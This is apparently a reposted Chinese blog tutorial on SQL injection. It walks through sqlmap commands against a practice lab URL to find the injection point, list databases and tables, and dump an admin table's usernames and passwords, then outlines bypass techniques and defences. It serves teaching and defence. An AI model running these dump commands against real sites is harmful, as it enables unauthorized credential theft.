sql注入漏洞及其sqlmap工具的使用

devtools/2024/9/23 10:23:03/

一、sql注入的原理

sql注入概念:

  sql注入主要是将sql语句,插入到web表单提交或者输入域名或者页面请求的查询字符串,最 终      达到一个欺骗服务器执行sql语句的效果。

sql注入的原理:主要分为平台层注入和代码层注入两种原因

平台层注入:平台层注入主要是因为数据库本身就存在有漏洞、或者进行了不安全数据库配置。

代码层注入:代码层注入主要是因为,程序员在编写代码的时候、没有做严谨的代码过滤。从而执行了非 法的数据查询

二、sql注入靶机的搭建

http://inject1.lab.aqlab.cn:8003/index.php?id=1

三、使用sqlmap进行sql注入

(1).查看sql注入点和数据库类型
sqlmap -u(指定参数url) http://inject1.lab.aqlab.cn:8003/index.php?id=1 

我们可以看到注入点为get型。
注入方式为:布尔盲注和时间盲注。
数据库类型为:mysql
数据库版本为:5.0.12 

(2).查看数据库databases名称
sqlmap -u(指定参数url) http://inject1.lab.aqlab.cn:8003/index.php?id=1 --current-db

上述注入结果可以得知:
    1.web服务器的操作系统为:Windows
    2.web应用技术:PHP版本为5.4.45;Apache版本为2.4.23
    3.数据库名称databases为:"maoshe"

(3).查看databases下的table表的内容
sqlmap -u "http://inject1.lab.aqlab.cn:8003/index.php?id=1" -D "maoshe" --tables
sqlmap -u(指定参数) "sql注入网址" -D "databases" --tables

 我们得到tables下的一张数据库表格:
    主要包括:admin、dirs、news、xss

(4).查看tables下创建的数据库表的结构
sqlmap -u "http://inject1.lab.aqlab.cn:8003/index.php?id=1" -D "maoshe"-T "admin" --columns

此时查看到数据库databases:"maoshe"下的table:"admin"的表数据结构
    包含有:id、username、password 

(5).查看表中 "admin"的数据库表中的内容
sqlmap -u "http://inject1.lab.aqlab.cn:8003/index.php?id=1" -D "maoshe"-T "admin" -C "id,username,password" --dump

此时我们就拿到了网站的登录账号和密码,以及他的保存地址路径。 

四、sql注入的思路是什么?

1、首先进行判断注入点,如(get注入、post注入、cookie注入、http请求头注入等)

2、进行数据库类型的判断(MySQL、Oracle、sqlserver)

        判断方法:(1).对其进行注入,通过报错类型信息进行判断

                          (2).判断数据库的端口,MySQL3306端口、Oracle1521端口

3、判断参数的数据类型:数值型和字符型

4、判断数据库的语句过滤情况:判断列数、判断显示位

5、进行绕过和过滤:关键字、逗号、等号、大于小于号、等价函数

6、根据注入情况选择注入方式:时间盲注、布尔盲注、联合查询、报错注入

五、sql注入完成后没有反应是为什么?

首先,无论SQL注入成功或者失败、都有可能造成没有反应。

sql注入成功了没有反应的原因:

SQL注入成功但没有回显”,这通常意味着已经成功地插入了恶意的SQL代码到目标应用中。

原因:盲注:目标应用可能故意隐藏了查询结果,以防止直接的信息泄露。

          输出限制:应用的输出可能受到某种形式的限制或过滤,导致即使注入成功,效果也不会被                              明 显展示出来。

         检查其他输出点:应用可能在其他地方(如日志,其他页面等)显示了与注入相关的输出。

sql注入失败了没有反应的原因:

   原因:1、sql注入的语句错误、或者被目标系统采取了相应的保护措施、导致被过滤掉了。

              2、目标系统存在日志监控日志、一旦检测到有可疑的sql注入语句、就会立即进行拦截。

              3、攻击者的网络配置或者目标系统的操作系统原因,导致没有成功的发出或者接受。

六、如何对sql注入进行防御?

  1. 日志和监控:实施日志记录和监控机制,以便及时发现和响应任何可疑活动。

  2. 使用Web应用防火墙(WAF): WAF可以识别和拦截常见的Web攻击。它可以通过检测和分析传入的HTTP请求来识别恶意模式

  3. 更新和修补: 保持数据库管理系统、应用程序框架和所有相关组件的更新。及时应用安全补丁,以修复已知的漏洞。

    4.限制和验证用户输入: 对所有的用户输入进行严格的验证和过滤,确保输入的数据符合预期             的格式和类型。

 


http://www.ppmy.cn/devtools/10420.html

相关文章

Rust腐蚀服务器清档多教程

Rust腐蚀服务器清档多教程 大家好我是艾西,一个做服务器租用的网络架构师。上期教了大家怎么搭建服务器以及安装插件等那么随着大家自己架设服或是玩耍的时间肯定会有小伙伴想要去新增开区数量或是把原本的服务器进行一些调整等,那么今天主要聊的就是怎…

MySQL—一条查询SQL语句的完整执行流程

MySQL—一条查询SQL语句的完整执行流程 表结构和数据如下: 我们分析的sql语句如下: select tb_id,tb_name,tb_address from tb_user where tb_id 66;大体来说,MySQL可以分为Server层和存储引擎层两部分: Server层 包括:连接器、查询缓存、…

计算机网络-IS-IS工作原理之邻接关系建立

前面我们学习了IS-IS的基础理论与相关概念,IS-IS与OSPF一样是链路状态路由协议,需要建立邻接关系,互相传递LSP信息的,因此现在开始学习IS-IS的工作原理,如何建立邻接关系、链路状态数据库同步以及路由更新计算。 一、邻…

如何修改NFT的元数据

引言 本文针对有一定基础的小伙伴、直接上干货。 背景:昨天接到这么一个需求,在erc721协议铸造后的基础上修改上链后的元数据。 参考 核心源码 //管理员修改tokenurifunction setTokenURI(uint256 tokenId, string calldata uri) public onlyOwner {requ…

SAM-Lighting 项目排坑

SAM-Lighting 项目排坑 任务过程呢改下载 任务 之前看到一个很有意思的工作SAM-Lighting。他用了flash attention技术。我想知道他是怎么调用flash attention的,也想看看实际效果。可惜他的权重和训练脚本都还没开源,暂时只能clone看看模型代码。如果谁…

C#版Facefusion:让你的脸与世界融为一体!-03 获取人脸特征值

C#版Facefusion:让你的脸与世界融为一体!-03 获取人脸特征值 目录 说明 效果 模型信息 项目 代码 下载 说明 C#版Facefusion一共有如下5个步骤: 1、使用yoloface_8n.onnx进行人脸检测 2、使用2dfan4.onnx获取人脸关键点 3、使用arcf…

clickhouse ttl不生效

现象: 日志保留31天, 但是发现1年前的数据还有。 表结构: CREATE TABLEads_xxxx_metrics_1m_local (static_time String COMMENT 统计时间,......) ENGINE ReplacingMergeTree (process_time) PARTITION BYtoYYYYMMDD (toDate (static_tim…

IP设置https访问

目录 但是IP地址的SSL证书和传统域名证书又有着一些区别: IP证书的原理: IP证书是如何工作的: 具体申请IP证书: 首先IP地址是可以实现https访问的,和传统的域名地址一样,需要用到数字证书部署&#xff0…